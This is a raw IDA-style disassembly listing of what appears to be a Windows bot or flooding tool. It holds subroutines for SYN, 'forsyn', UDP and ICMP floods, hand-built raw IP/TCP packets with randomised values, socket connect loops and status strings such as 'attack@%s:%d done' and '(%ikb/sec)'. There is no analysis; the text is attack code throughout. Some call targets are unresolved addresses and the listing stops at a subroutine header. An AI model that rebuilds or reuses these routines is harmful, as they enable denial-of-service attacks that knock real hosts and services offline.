		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_4266A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426820	proc near		; CODE XREF: sub_401E7Ej

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_436840
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 27C07DCh
		mov	esi, eax
		test	esi, esi
		jz	short loc_42688A
		mov	edi, dword_50F8A0
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_50E150, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_50E154, eax
		call	edi
		mov	ecx, dword_50E150
		mov	dword_50E14C, eax
		test	ecx, ecx
		jz	short loc_42688A
		mov	edx, dword_50E154
		test	edx, edx
		jz	short loc_42688A
		test	eax, eax
		jz	short loc_42688A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_426895


loc_42688A:				; CODE XREF: sub_426820+1Bj
					; sub_426820+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_426895:				; CODE XREF: sub_426820+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_4268AC
		mov	[esp+24h+arg_FFE8], eax


loc_4268AC:				; CODE XREF: sub_426820+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_4268BF
		mov	ebp, 1


loc_4268BF:				; CODE XREF: sub_426820+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_426904


loc_4268D0:				; CODE XREF: sub_426820+E2j
		mov	al, byte_4D64F9
		test	al, al
		jz	short loc_426904
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_50E14C	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_4268D0


loc_426904:				; CODE XREF: sub_426820+AEj
					; sub_426820+B7j
		push	edi
		call	dword_50E154	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_426820	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426960	proc near		; CODE XREF: sub_40182Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E7E
		add	esp, 14h
		retn
sub_426960	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401BC7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4269A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0FC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426A10:				; CODE XREF: ___:00401A19j
					; ___:loc_401AAFj
		push	esi
		mov	esi, ecx
		call	sub_4017FD
		test	byte ptr [esp+8], 1
		jz	short loc_426A28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426A28:				; CODE XREF: ___:00426A1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426A40	proc near		; CODE XREF: sub_4017FDj
		jmp	sub_4014C4
sub_426A40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A60	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E5DCF
		mov	[esp+2Ch+var_28], eax


loc_426A86:				; CODE XREF: sub_426A60+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_426A97
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E672F
		jl	short loc_426A86


loc_426A97:				; CODE XREF: sub_426A60+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_426C49
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E5D5Bh[eax*8]
		call	sub_4017E4
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		call	near ptr 71AB2B66h
		nop
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_426B00
		mov	dword ptr [ebp+68h], 5


loc_426B00:				; CODE XREF: sub_426A60+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_50E15C
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_50E35C
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 276085Eh
		test	eax, eax
		mov	dword_50E360, eax
		jz	short loc_426B9B
		push	offset dword_446F74
		push	5
		push	eax
		push	0
		push	offset dword_50E15C
		call	sub_4013E8
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_426BCB
; ---------------------------------------------------------------------------


loc_426B9B:				; CODE XREF: sub_426A60+11Dj
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_426BCB:				; CODE XREF: sub_426A60+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_401424
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_426C49:				; CODE XREF: sub_426A60+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_426A60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426CE0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E5D5Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426D76
		push	ebp
		nop
		call	near ptr 71AB4FD4h
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_426D6F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6775[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_426D6F:				; CODE XREF: sub_426CE0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_426D76:				; CODE XREF: sub_426CE0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_426E26
		mov	ebx, dword_50FC30


loc_426D95:				; CODE XREF: sub_426CE0+140j
		mov	al, byte_4D64F9
		test	al, al
		jz	loc_426E26
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DAB:				; CODE XREF: sub_426CE0+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_426DCB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB4519h


loc_426DCB:				; CODE XREF: sub_426CE0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_426DAB
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DDA:				; CODE XREF: sub_426CE0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_426DDA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 2811D0Bh
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426E03:				; CODE XREF: sub_426CE0+130j
		mov	edx, [esi]
		push	edx
		nop
		call	near ptr 71AB9639h
		add	esi, 4
		dec	edi
		jnz	short loc_426E03
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_426D95


loc_426E26:				; CODE XREF: sub_426CE0+A9j
					; sub_426CE0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6775[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_426CE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426EB0	proc near		; CODE XREF: sub_401DD9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426EB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E10C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426EB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426F20	proc near		; CODE XREF: ___:004016DBj sub_40181Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_426F38
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426F38:				; CODE XREF: sub_426F20+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426F20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426F50	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014C4
sub_426F50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426F70	proc near		; CODE XREF: sub_401E92j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426F70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401DB6
sub_426F70	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4270E0	proc near		; CODE XREF: sub_401BB3j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021A3
sub_4270E0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_427171
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_427171:				; CODE XREF: ___:00427151j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		call	near ptr 71AB8769h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_4271A4
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271A4:				; CODE XREF: ___:00427195j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		call	near ptr 71AB3EA1h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4271C7


loc_4271BA:				; CODE XREF: ___:0042736Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271C7:				; CODE XREF: ___:004271B8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_50FC2C
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		nop
		call	near ptr 27D07CDh
		mov	[esp+48h], eax
		mov	al, byte_4D64F9
		test	al, al
		jz	loc_42741B
		mov	ebx, dword_50FABC
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_427265
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_427265:				; CODE XREF: ___:00427261j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A28
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A28
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB2C69h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4271BA
		nop
		call	near ptr 27D07CDh
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_427417
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4273B9
		push	2710h
		push	3E8h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4273B9:				; CODE XREF: ___:0042739Ej
		push	0FFh
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 3EA902E8h, 0F9A09002h, 84004D64h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_427417:				; CODE XREF: ___:00427396j
		mov	edi, [esp+18h]


loc_42741B:				; CODE XREF: ___:0042724Bj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_427520	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40187F
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_427541
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_427541:				; CODE XREF: sub_427520+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BB3
sub_427520	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427590	proc near		; CODE XREF: sub_401785j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427590
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E11C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427590	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427600	proc near		; CODE XREF: ___:004014ECj sub_40222Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_427618
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427618:				; CODE XREF: sub_427600+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427630	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014C4
sub_427630	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427650	proc near		; CODE XREF: sub_401A05j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401730
		add	esp, 14h
		test	eax, eax
		jz	short loc_42771E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_42771E:				; CODE XREF: sub_427650+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427650	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277C0	proc near		; CODE XREF: sub_401730j

